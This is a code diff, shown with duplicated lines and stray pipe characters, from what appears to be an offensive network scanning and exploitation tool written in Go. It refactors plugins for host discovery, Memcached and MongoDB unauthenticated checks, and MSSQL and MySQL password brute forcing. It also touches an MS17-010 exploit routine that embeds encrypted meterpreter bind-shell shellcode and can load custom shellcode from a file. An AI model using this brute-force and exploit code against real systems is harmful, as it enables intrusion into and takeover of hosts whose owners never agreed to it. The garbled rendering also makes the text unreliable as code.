conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
|
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
|
||||||
if err == nil {
|
if err == nil {
|
||||||
RunIcmp1(hostslist, conn, chanHosts)
|
RunIcmp1(hostslist, conn, chanHosts)
|
||||||
} else {
|
} else {
|
||||||
common.LogError(err)
|
common.LogError(err)
|
||||||
//尝试无监听icmp探测
|
// Try no listening icmp probe
|
||||||
fmt.Println("trying RunIcmp2")
|
fmt.Println("trying RunIcmp2")
|
||||||
conn, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
|
conn, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
|
||||||
defer func() {
|
defer func() {
|
||||||
@ -62,7 +63,7 @@ func CheckLive(hostslist []string, Ping bool) []string {
|
|||||||
RunIcmp2(hostslist, chanHosts)
|
RunIcmp2(hostslist, chanHosts)
|
||||||
} else {
|
} else {
|
||||||
common.LogError(err)
|
common.LogError(err)
|
||||||
//使用ping探测
|
// use ping detection
|
||||||
fmt.Println("The current user permissions unable to send icmp packets")
|
fmt.Println("The current user permissions unable to send icmp packets")
|
||||||
fmt.Println("start ping")
|
fmt.Println("start ping")
|
||||||
RunPing(hostslist, chanHosts)
|
RunPing(hostslist, chanHosts)
|
||||||
@ -74,14 +75,14 @@ func CheckLive(hostslist []string, Ping bool) []string {
|
|||||||
close(chanHosts)
|
close(chanHosts)
|
||||||
|
|
||||||
if len(hostslist) > 1000 {
|
if len(hostslist) > 1000 {
|
||||||
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, true)
|
arrTop, arrLen := ArrayCountValueTop(AliveHosts, liveTop, true)
|
||||||
for i := 0; i < len(arrTop); i++ {
|
for i := 0; i < len(arrTop); i++ {
|
||||||
output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0.0/16", arrLen[i])
|
output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0.0/16", arrLen[i])
|
||||||
common.LogSuccess(output)
|
common.LogSuccess(output)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if len(hostslist) > 256 {
|
if len(hostslist) > 256 {
|
||||||
arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, false)
|
arrTop, arrLen := ArrayCountValueTop(AliveHosts, liveTop, false)
|
||||||
for i := 0; i < len(arrTop); i++ {
|
for i := 0; i < len(arrTop); i++ {
|
||||||
output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0/24", arrLen[i])
|
output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0/24", arrLen[i])
|
||||||
common.LogSuccess(output)
|
common.LogSuccess(output)
|
||||||
@ -95,7 +96,7 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string)
|
|||||||
endflag := false
|
endflag := false
|
||||||
go func() {
|
go func() {
|
||||||
for {
|
for {
|
||||||
if endflag == true {
|
if endflag {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
msg := make([]byte, 100)
|
msg := make([]byte, 100)
|
||||||
@ -118,7 +119,7 @@ func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string)
|
|||||||
if len(AliveHosts) == len(hostslist) {
|
if len(AliveHosts) == len(hostslist) {
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
since := time.Now().Sub(start)
|
since := time.Since(start)
|
||||||
var wait time.Duration
|
var wait time.Duration
|
||||||
switch {
|
switch {
|
||||||
case len(hostslist) <= 256:
|
case len(hostslist) <= 256:
|
||||||
@ -298,7 +299,7 @@ func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []strin
|
|||||||
}
|
}
|
||||||
|
|
||||||
i := 0
|
i := 0
|
||||||
for _ = range arrMap1 {
|
for range arrMap1 {
|
||||||
var maxCountKey string
|
var maxCountKey string
|
||||||
var maxCountVal = 0
|
var maxCountVal = 0
|
||||||
for key, val := range arrMap2 {
|
for key, val := range arrMap2 {
|
||||||
|
@ -2,21 +2,22 @@ package Plugins
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
)
|
)
|
||||||
|
|
||||||
func MemcachedScan(info *common.HostInfo) (err error) {
|
func MemcachedScan(info common.HostInfo, flags common.Flags) (err error) {
|
||||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||||
client, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
client, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
|
||||||
defer func() {
|
defer func() {
|
||||||
if client != nil {
|
if client != nil {
|
||||||
client.Close()
|
client.Close()
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
if err == nil {
|
if err == nil {
|
||||||
err = client.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
err = client.SetDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
|
||||||
if err == nil {
|
if err == nil {
|
||||||
_, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
|
_, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
|
||||||
if err == nil {
|
if err == nil {
|
||||||
|
@ -2,16 +2,17 @@ package Plugins
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
)
|
)
|
||||||
|
|
||||||
func MongodbScan(info *common.HostInfo) error {
|
func MongodbScan(info common.HostInfo, flags common.Flags) error {
|
||||||
if common.IsBrute {
|
if flags.IsBrute {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
_, err := MongodbUnauth(info)
|
_, err := MongodbUnauth(info, flags)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, info.Ports, err)
|
errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, info.Ports, err)
|
||||||
common.LogError(errlog)
|
common.LogError(errlog)
|
||||||
@ -19,7 +20,7 @@ func MongodbScan(info *common.HostInfo) error {
|
|||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
|
func MongodbUnauth(info common.HostInfo, flags common.Flags) (flag bool, err error) {
|
||||||
flag = false
|
flag = false
|
||||||
// op_msg
|
// op_msg
|
||||||
packet1 := []byte{
|
packet1 := []byte{
|
||||||
@ -48,7 +49,7 @@ func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
|
|||||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||||
|
|
||||||
checkUnAuth := func(address string, packet []byte) (string, error) {
|
checkUnAuth := func(address string, packet []byte) (string, error) {
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
conn, err := common.WrapperTcpWithTimeout("tcp", realhost, common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", err
|
return "", err
|
||||||
}
|
}
|
||||||
@ -57,7 +58,7 @@ func MongodbUnauth(info *common.HostInfo) (flag bool, err error) {
|
|||||||
conn.Close()
|
conn.Close()
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
err = conn.SetReadDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", err
|
return "", err
|
||||||
}
|
}
|
||||||
|
@ -5,18 +5,19 @@ import (
|
|||||||
"encoding/binary"
|
"encoding/binary"
|
||||||
"encoding/hex"
|
"encoding/hex"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"io"
|
"io"
|
||||||
"io/ioutil"
|
|
||||||
"net"
|
"net"
|
||||||
|
"os"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
)
|
)
|
||||||
|
|
||||||
func MS17010EXP(info *common.HostInfo) {
|
func MS17010EXP(info common.HostInfo, flags common.Flags) {
|
||||||
address := info.Host + ":445"
|
address := info.Host + ":445"
|
||||||
var sc string
|
var sc string
|
||||||
switch common.SC {
|
switch flags.SC {
|
||||||
case "bind":
|
case "bind":
|
||||||
//msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=64531 -f hex
|
//msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=64531 -f hex
|
||||||
sc_enc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK"
|
sc_enc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK"
|
||||||
@ -33,16 +34,16 @@ func MS17010EXP(info *common.HostInfo) {
|
|||||||
sc_enc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx"
|
sc_enc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx"
|
||||||
sc = AesDecrypt(sc_enc, key)
|
sc = AesDecrypt(sc_enc, key)
|
||||||
default:
|
default:
|
||||||
if strings.Contains(common.SC, "file:") {
|
if strings.Contains(flags.SC, "file:") {
|
||||||
read, err := ioutil.ReadFile(common.SC[5:])
|
read, err := os.ReadFile(flags.SC[5:])
|
||||||
if err != nil {
|
if err != nil {
|
||||||
errlog := fmt.Sprintf("[-] ms17010 sc readfile %v error: %v", common.SC, err)
|
errlog := fmt.Sprintf("[-] ms17010 sc readfile %v error: %v", flags.SC, err)
|
||||||
common.LogError(errlog)
|
common.LogError(errlog)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
sc = fmt.Sprintf("%x", read)
|
sc = fmt.Sprintf("%x", read)
|
||||||
} else {
|
} else {
|
||||||
sc = common.SC
|
sc = flags.SC
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -5,9 +5,10 @@ import (
|
|||||||
"encoding/hex"
|
"encoding/hex"
|
||||||
"errors"
|
"errors"
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var (
|
||||||
@ -23,11 +24,11 @@ var (
|
|||||||
trans2SessionSetupRequest, _ = hex.DecodeString(AesDecrypt(trans2SessionSetupRequest_enc, key))
|
trans2SessionSetupRequest, _ = hex.DecodeString(AesDecrypt(trans2SessionSetupRequest_enc, key))
|
||||||
)
|
)
|
||||||
|
|
||||||
func MS17010(info *common.HostInfo) error {
|
func MS17010(info common.HostInfo, flags common.Flags) error {
|
||||||
if common.IsBrute {
|
if flags.IsBrute {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
err := MS17010Scan(info)
|
err := MS17010Scan(info, flags)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
errlog := fmt.Sprintf("[-] Ms17010 %v %v", info.Host, err)
|
errlog := fmt.Sprintf("[-] Ms17010 %v %v", info.Host, err)
|
||||||
common.LogError(errlog)
|
common.LogError(errlog)
|
||||||
@ -35,10 +36,10 @@ func MS17010(info *common.HostInfo) error {
|
|||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
func MS17010Scan(info *common.HostInfo) error {
|
func MS17010Scan(info common.HostInfo, flags common.Flags) error {
|
||||||
ip := info.Host
|
ip := info.Host
|
||||||
// connecting to a host in LAN if reachable should be very quick
|
// connecting to a host in LAN if reachable should be very quick
|
||||||
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second)
|
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
|
||||||
defer func() {
|
defer func() {
|
||||||
if conn != nil {
|
if conn != nil {
|
||||||
conn.Close()
|
conn.Close()
|
||||||
@ -48,7 +49,7 @@ func MS17010Scan(info *common.HostInfo) error {
|
|||||||
//fmt.Printf("failed to connect to %s\n", ip)
|
//fmt.Printf("failed to connect to %s\n", ip)
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
err = conn.SetDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
//fmt.Printf("failed to connect to %s\n", ip)
|
//fmt.Printf("failed to connect to %s\n", ip)
|
||||||
return err
|
return err
|
||||||
@ -137,8 +138,8 @@ func MS17010Scan(info *common.HostInfo) error {
|
|||||||
result := fmt.Sprintf("[+] %s\tMS17-010\t(%s)", ip, os)
|
result := fmt.Sprintf("[+] %s\tMS17-010\t(%s)", ip, os)
|
||||||
common.LogSuccess(result)
|
common.LogSuccess(result)
|
||||||
defer func() {
|
defer func() {
|
||||||
if common.SC != "" {
|
if flags.SC != "" {
|
||||||
MS17010EXP(info)
|
MS17010EXP(info, flags)
|
||||||
}
|
}
|
||||||
}()
|
}()
|
||||||
// detect present of DOUBLEPULSAR SMB implant
|
// detect present of DOUBLEPULSAR SMB implant
|
||||||
|
@ -3,22 +3,23 @@ package Plugins
|
|||||||
import (
|
import (
|
||||||
"database/sql"
|
"database/sql"
|
||||||
"fmt"
|
"fmt"
|
||||||
_ "github.com/denisenkom/go-mssqldb"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
_ "github.com/denisenkom/go-mssqldb"
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
)
|
)
|
||||||
|
|
||||||
func MssqlScan(info *common.HostInfo) (tmperr error) {
|
func MssqlScan(info common.HostInfo, flags common.Flags) (tmperr error) {
|
||||||
if common.IsBrute {
|
if flags.IsBrute {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
starttime := time.Now().Unix()
|
starttime := time.Now().Unix()
|
||||||
for _, user := range common.Userdict["mssql"] {
|
for _, user := range common.Userdict["mssql"] {
|
||||||
for _, pass := range common.Passwords {
|
for _, pass := range common.Passwords {
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", user, -1)
|
||||||
flag, err := MssqlConn(info, user, pass)
|
flag, err := MssqlConn(info, user, pass, flags.Timeout)
|
||||||
if flag == true && err == nil {
|
if flag && err == nil {
|
||||||
return err
|
return err
|
||||||
} else {
|
} else {
|
||||||
errlog := fmt.Sprintf("[-] mssql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
errlog := fmt.Sprintf("[-] mssql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||||
@ -27,7 +28,7 @@ func MssqlScan(info *common.HostInfo) (tmperr error) {
|
|||||||
if common.CheckErrs(err) {
|
if common.CheckErrs(err) {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * common.Timeout) {
|
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * flags.Timeout) {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -36,14 +37,14 @@ func MssqlScan(info *common.HostInfo) (tmperr error) {
|
|||||||
return tmperr
|
return tmperr
|
||||||
}
|
}
|
||||||
|
|
||||||
func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
func MssqlConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) {
|
||||||
flag = false
|
flag = false
|
||||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||||
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(common.Timeout)*time.Second)
|
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(timeout)*time.Second)
|
||||||
db, err := sql.Open("mssql", dataSourceName)
|
db, err := sql.Open("mssql", dataSourceName)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second)
|
db.SetConnMaxLifetime(time.Duration(timeout) * time.Second)
|
||||||
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second)
|
db.SetConnMaxIdleTime(time.Duration(timeout) * time.Second)
|
||||||
db.SetMaxIdleConns(0)
|
db.SetMaxIdleConns(0)
|
||||||
defer db.Close()
|
defer db.Close()
|
||||||
err = db.Ping()
|
err = db.Ping()
|
||||||
|
@ -3,22 +3,23 @@ package Plugins
|
|||||||
import (
|
import (
|
||||||
"database/sql"
|
"database/sql"
|
||||||
"fmt"
|
"fmt"
|
||||||
_ "github.com/go-sql-driver/mysql"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
|
_ "github.com/go-sql-driver/mysql"
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
)
|
)
|
||||||
|
|
||||||
func MysqlScan(info *common.HostInfo) (tmperr error) {
|
func MysqlScan(info common.HostInfo, flags common.Flags) (tmperr error) {
|
||||||
if common.IsBrute {
|
if flags.IsBrute {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
starttime := time.Now().Unix()
|
starttime := time.Now().Unix()
|
||||||
for _, user := range common.Userdict["mysql"] {
|
for _, user := range common.Userdict["mysql"] {
|
||||||
for _, pass := range common.Passwords {
|
for _, pass := range common.Passwords {
|
||||||
pass = strings.Replace(pass, "{user}", user, -1)
|
pass = strings.Replace(pass, "{user}", user, -1)
|
||||||
flag, err := MysqlConn(info, user, pass)
|
flag, err := MysqlConn(info, user, pass, flags.Timeout)
|
||||||
if flag == true && err == nil {
|
if flag && err == nil {
|
||||||
return err
|
return err
|
||||||
} else {
|
} else {
|
||||||
errlog := fmt.Sprintf("[-] mysql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
errlog := fmt.Sprintf("[-] mysql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
|
||||||
@ -27,7 +28,7 @@ func MysqlScan(info *common.HostInfo) (tmperr error) {
|
|||||||
if common.CheckErrs(err) {
|
if common.CheckErrs(err) {
|
||||||
return err
|
return err
|
||||||
}
